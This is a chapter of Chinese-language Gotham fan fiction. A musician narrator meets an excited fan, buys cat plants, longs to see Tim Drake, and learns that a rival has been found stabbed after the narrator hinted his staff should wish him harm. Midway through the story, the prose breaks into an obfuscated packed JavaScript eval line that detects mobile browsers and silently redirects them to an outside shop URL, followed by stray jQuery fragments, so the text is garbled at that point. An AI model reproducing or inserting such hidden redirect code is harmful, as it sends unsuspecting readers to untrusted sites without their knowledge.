很可惜,现在是新时代,而不是过去。我对此感到些许无奈,但太多的就没有了。
隔着一段距离,我看到了司机在向我招手,虽然我和他是相处了几天,但留下的印象实在不多,助理也是。只需要知道他们可信,好用,就足够了。
就像乐高王国里的士兵不需要思考,能活动U型手,武器不要从掉下来就可以了,顺便还需要会听从指令。
说到乐高,我细细思索,如果一个人突然穿越到积木世界里,他会不会也会被同化?变得不需要进食,四肢被斩断也能重新按回去,脑袋掉了也没关系?
这算是进化还是噩梦。前者需要考虑伦理问题,还需要强大的心理承受能力做支持。后者的话……如果那个人没有获得那种能力,作为一个正常人类突然出现在属于积木的王国,没有食物和水,对于他来说只能是噩梦吧。
所以想要反思道德,或者是否违背伦理,前提是要有能力活着才行。而大多数人在面临绝境时,求生欲会促使他们抛掉一切可,选择活下去。
那没有求生欲的人算不算残疾,或者说确诊绝症?
我没有想要映射什么的意思,只是最近看到过这样的故事,从而引发思考。我一直认为思考的能力是人类最宝贵的东西,如果扔掉大脑,只依靠本能去活着,和行尸走肉也没有区别。
想要完全依靠本能也挺难的,我是说作为人类而言,其他物种我不做点评。
上车后,我继续发呆,告诉司机回公寓前要先去园艺店,要种类齐全的店铺,最好就近。然后等着他启动车子。
本地司机总比我要了解店铺和路线吧。
为什么突然要去园艺店?因为在手机上刷到一份猫咪喜欢的植物清单,想着最近是没有好好陪伴夏洛特,也许可以作为礼物送给她。
车窗被人从外面试探地敲击,玻璃贴有防偷窥的贴纸,我从里面看,视野里的色调会暗一些。当然,外面的人看不见我。
窗外是一个陌生人,带着口罩和鸭舌帽,帽檐没有压得很严实,金灿灿的头发从里面支棱出来,年龄看起来不大,从露出来的眉眼判断,他的长相至少是及格线以上。
司机从车镜看我,不确定下一步该怎么做。
我把车窗降下一半,这一降,金色的头发直接晃得我睁不开眼睛,我身边的金毛是不是太多了点?对方很明显地深呼吸,眼睛明亮,然后说:
“是莫利……!莫利.阿尔温先生吗?!”
是我的粉丝吗?
我迟疑地看他蓝色的眼睛,视线打量几圈也没有办法把他和脑子里的熟悉面孔对上号,但看在这双眼睛的份上,我笑笑:
“是的,请问你有什么事情吗?”
“……居然真的是!”
陌生人情绪很激动,连喘好几口气,瞳孔兴奋地震颤,可能是太过于激动,他说话时差点破音,但被好好地收住,所以说只是差点。
为什么会这么激动?
我不明白,如果这代表一个常态的话,那是不是要和伊芙琳说要多营业,多开几场演唱会或者见面会?
呃……
“从高中的时候我就开始听你的音乐!”他雀跃地说,这么表达的话,原来不是高中生啊。如果本森先生看到他的话大概会不满吧,毕竟一个长得太着急,一个长得显小。
他絮絮叨叨地说了几分钟,语速之快,内容之密,我只来得及附和两句“原来是这样啊”“哇,好神奇!”“真是不可思议”。结果更兴奋了。
其实我根本不知道他是怎么把话题从大学校园生活跳到麦麦新品很好吃的。
可能是他也意识到了时间的流逝,猛地止住话题,羞涩地说:
“抱歉,是我太过兴奋了……”
还好吧,他几句话就把自己的所有信息都交代明白了,幸亏他读的是计算机专业,而不是生物什么的。要不然我根本不能从他那夹带太多专业性词语的话里提炼出内容。
他从外套内口袋里掏出笔记本,拿下签字笔,翻到空白的一页,磕磕绊绊地说:
“可以,可以请您给我签名吗?抱歉!浪费了您很多时间……等等!在空白页上签名是不是不太好,啊啊啊!对不起,请签在我的衣服上就会!”
看着他带着口罩都掩盖不住红色的脸,和直接掀起来的T恤下摆,我沉思了两秒,还是拿笔签下了自己的名字。
等到狂热粉丝离开后,一直沉默的助理突然出声:
“是我们考虑不周,如果下次再遇到这种情况,还是交给我了处理会更妥帖。”
“嗯……”我想了想,说:“我是不是应该多拍点照片发到网上?或者多露露面什么的?要开见面会吗?”
这么想,我好像一直没怎么积极营业过。
助理不赞同地说:“很危险,就像刚才遇到的那个人,这种狂热出现在哥谭,危险程度要比普通粉丝上升好几个等级。您举办见面活动,可能会遇到更多这样的人,如果秩序没有维持好,后果不堪设想。”
“所以我才说要不要多提高曝光度。”
我盯着车窗,车子起步没有多久就停在红灯前,在人流里,我好像又看见了那头耀眼的金发。
毕竟堵不如疏,要是再遇到这样的人,连我也会招架不住啊。
对了,提摩西现在应该在做什么呢?忽略助理若有所思的表情,我选择抛掉一切不愉快,开始想点自己喜欢的事情!
工作有那么忙吗?兄弟有空去图书馆交流感情,他没有时间和我去约会。布鲁斯先生怎么还不回来,如果是布鲁斯先生的话,一定可以兼顾好工作,这样的话,提摩西的压力应该会轻一些。
唉,虽然这两天一直有在和他聊天,但是线上聊天根本不能满足我,只能缓解。
我忧愁地叹气,拿起手机和伊芙琳发消息,问德雷克少总要什么时候才会莅临工作室视察?
伊芙琳秒回:明天。
诶?!
怎么这样,都不提前告诉我。
她说,时间也是临时改的,对面诚意很足,说是时间冲突。本来今天下午会议结束就想告诉您的,但出了点意外情况,就忘记了。如果您现在不问,我大概会在吃完晚饭的时候给您打电话吧。
原来是这样,那确实是出了点意外情况。不过她为了处理工作这么晚才吃饭,我决定多给她加一份工资。
为什么?
没有为什么,伊芙琳值得。
下一秒,伊芙琳的电话打进来。我上滑接通,她说:
“我刚接到医院那边的通知,说卢西恩先生在一个小时前自行办理出院,出院的时我们的人试图跟在他身后掌握动态,结果被他发现打晕。
“需要继续追踪吗?”
“啊,不需要呢!”追踪下去也没有意义,他能发现一个就发现两个。现在我才不相信他沉寂的这几年真的默默无闻,档案上的事我一个字也不信,他说的话更是连标点符号都要不信。
船到桥头自然直,卢西恩想在义警们的注视下动什么大动作可不简单。
赞美哥谭!赞美蝙蝠侠!赞美红罗宾!
我愉快地说:“祝他出门被车撞就好了。”
“是吗?……我知道了。”
伊芙琳的语气里带着犹豫,但还是姑且平静地答应了,嗯,那她就是真的会去做呢。
“我也需要去祝福吗?”坐在旁边的助理问。
嗯?
前面的司机也借着红灯回头无声询问。
“你们也需要呢。”我说。
到园艺店后,我照着清单买了月季,荆芥和成品木天蓼。店员说木天蓼不容易培养,直接买成品回去会更方便一些。
嗯,好的,反正过了今晚,这些植物应该都是埃德里安在照顾。
至于我?我会鼓励他的,再贴心一点,叫外送的时候多买一份,更贴心的,把食物放进保温锅里,让他下班回来就能吃上饭。
这还不够贴心吗?我是不可能为了埃德里安下厨的。
不过今晚就先不体贴吧,因为我要给植物浇水,还有,我晚上已经吃过饭了。
在助理的帮助下处理完植物后,我试着多营业,把夏洛特抱进
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17858144|209580||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
怀里用手机自拍两张发到账户上,然后关掉通知。
什么事情都要循序渐进,成功一小步进步一大步。
只有两张照片,因为夏洛特配合了几秒后就暴露本性,这估计还是看在我带回来的礼物面子上。第三张照片因为她完全糊掉,嗯,也是礼物的原因,她迫不及待地冲向猫薄荷,只留给我一个糊成闪电的背影。
蝙蝠侠的助手是罗宾,应聘罗宾的话我已经超龄了,那我可不可以也拥有自己的助手?退一万步来说,夏洛特就不能成为我的助手吗?音乐小猫听起来很可爱。
看夏洛特的速度,她的身手,她聪明狡黠的性格,我觉得此猫大有可为。
我打开电脑,不,先打开了手机,把自己账号的头像换成夏洛特抓拍,这才心满意足地开始工作。
是,我今天是交了音源,但是我从来没有说过我的工作只有一样。我还挺想的,可惜伊芙琳不允许。所以只能心如死灰地打开FL。
……干了一会儿,我就跑去我的小红鸟软件,没事找事地完善功能。
答应了红罗宾不会出门,就要遵守承诺。想着明天就能见到正装提摩西,就又觉得等待好像也没有那么无聊了。
可悲!
怎么会变成这样。
我撑着下巴对屏幕发呆,如果,我是说如果……算了,不想考虑其他的可能性。像提摩西这么有意思的人,成天围着他转也是理所当然的吧。
光是“提摩西.德雷克”这个名字,就足够令我提起兴趣。
门外传来开关门的声音,埃德里安回来了,我猜他现在应该是像丧尸一样躺在沙发上,一边思考人生顺便反思今天的所作所为,反思过后得出就是应该直接动手的认知,最后出于某种莫名其妙的力量驱使,选择继续维持憋屈的生活。一边抵挡夏洛特的攻击,埃德里安身手好不假,但他也只有两只手,夏洛特有四只锋利的爪子,且她不讲道理,没有羞耻心,还会学习。
果然,夏洛特就应该当我的助手!从明天开始训练她怎么样?
从音乐素养培养起,先学会鉴赏再说。拉小提琴这样的活不用她来,她也很难拉动,能做到在我演奏乐器的时候配合节奏喵喵叫就可以了。
这是最低标准,更高点是希望她可以自成一曲,我会给她伴奏的。
说到哪里来着?哦,我对提摩西感兴趣。
没有原因,这个名字就足够了。对于我来说,感兴趣就代表着喜欢……这么说不全面,反正你只需要知道这种喜欢和我“喜欢吃冰淇淋,喜欢蓝色”不一样就可以了。
我想和他玩游戏,也喜欢和他玩游戏,只不过赛车就算了吧。
游戏要你来我往,扮演侦探一起破案是很开心,但我更希望他可以把目光一直放在我身上,这是我们双人之间的对决,处于同一阵营并不能满足我的需求,果然还是要成为侦探的对手才行。
所以,接下来我也会支开其他人,麻烦布鲁斯先生多在“北极”玩几天吧。
至于卢西恩,我虽然杀不掉他,但是让他自顾不暇几天还是可以做到的。
但是我没有想到,变故来的这么突然。
因为今天要和提摩西在会议桌见面,我特意穿得正式了些,还好好整理了头发。出门时一切顺利,夏洛特还凑过来亲我的脸颊,顺利得不可思议。
来到工作室的时候,迎面撞击形色匆匆的伊芙琳。我还是第一次看见她这么紧张,额前垂下几缕碎发,衬衫袖口挽上去一只放下一只,马甲的扣子没有系好。她走过来时,抓住我的手臂,把我带到楼梯间。
这时候,我意识到有什么意外的事情发生了。刹那间,我的心跳声大到让我下意识捂住胸口,疑心它是不是想要蹦出来。
我不知道这是兴奋还是紧张,估计前者的成分更多些。
伊芙琳拧着眉,低声说:“卢西恩先生的尸体在路边被人发现,路人已经报警。初步判断,全身有多处利器刺伤伤口,流血过多而死,死亡时间大概是今天早上。”
诶?
一时间,我怀疑自己是不是出现了幻听。